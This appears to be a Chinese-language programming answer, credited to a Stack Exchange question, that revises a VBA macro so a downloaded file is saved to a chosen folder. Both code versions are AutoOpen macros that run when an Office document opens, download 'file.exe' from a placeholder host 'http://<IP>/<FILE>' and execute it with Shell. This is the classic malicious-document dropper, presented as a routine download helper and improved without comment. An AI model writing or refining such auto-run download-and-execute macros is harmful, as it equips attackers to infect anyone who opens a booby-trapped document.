如何使用VBA宏从Web服务器下载文件并保存到指定位置

核心修改逻辑 #

你原有代码默认保存在当前文档目录的原因是：savetofile 和 Shell 方法仅传入了文件名，没有带完整路径，系统会自动使用当前Office文档的工作目录作为默认存储路径。只需将完整的绝对路径传入这两个方法即可实现自定义存储位置。 #

方案1：固定指定保存路径 #

直接将你需要的存储路径写死在代码中，示例为保存到 D:\工具\ 目录下的修改代码：

Sub AutoOpen()
    ' 自定义保存路径，注意末尾要加反斜杠
    Const SAVE_PATH As String = "D:\工具\"
    Dim FILE_NAME As String: FILE_NAME = "file.exe"
    Dim FULL_PATH As String: FULL_PATH = SAVE_PATH & FILE_NAME

    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "http://<IP>/<FILE>", False
    xHttp.Send

    ' 可选：如果路径文件夹不存在则自动创建
    If Dir(SAVE_PATH, vbDirectory) = "" Then
        MkDir SAVE_PATH
    End If

    With bStrm
        .Type = 1 
        .Open
        .write xHttp.responseBody
        ' 传入完整路径保存
        .savetofile FULL_PATH, 2 
    End With

    ' 调用时也传入完整路径
    Shell (FULL_PATH)
End Sub

方案2：弹窗让用户自主选择保存路径 #

如果不想固定路径，可以调用系统文件夹选择对话框，让用户手动选择存储位置：

Sub AutoOpen()
    Dim FILE_NAME As String: FILE_NAME = "file.exe"
    Dim FULL_PATH As String
    Dim fd As FileDialog
    
    ' 弹出文件夹选择对话框
    Set fd = Application.FileDialog(msoFileDialogFolderPicker)
    With fd
        .Title = "请选择文件保存目录"
        If .Show <> -1 Then
            ' 用户取消选择直接退出
            Exit Sub
        End If
        FULL_PATH = .SelectedItems(1) & "\" & FILE_NAME
    End With
    Set fd = Nothing

    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "http://<IP>/<FILE>", False
    xHttp.Send

    With bStrm
        .Type = 1 
        .Open
        .write xHttp.responseBody
        .savetofile FULL_PATH, 2 
    End With

    Shell (FULL_PATH)
End Sub

注意事项 #

• 确保你对指定的保存路径有写入权限，系统敏感目录（如C盘根目录、Program Files目录）可能需要管理员权限才能写入
• 路径分隔符使用Windows标准的反斜杠\即可
• 若下载的文件名存在中文，建议将Office文档的编码设置为UTF-8避免乱码

内容的提问来源于stack exchange，提问作者Jane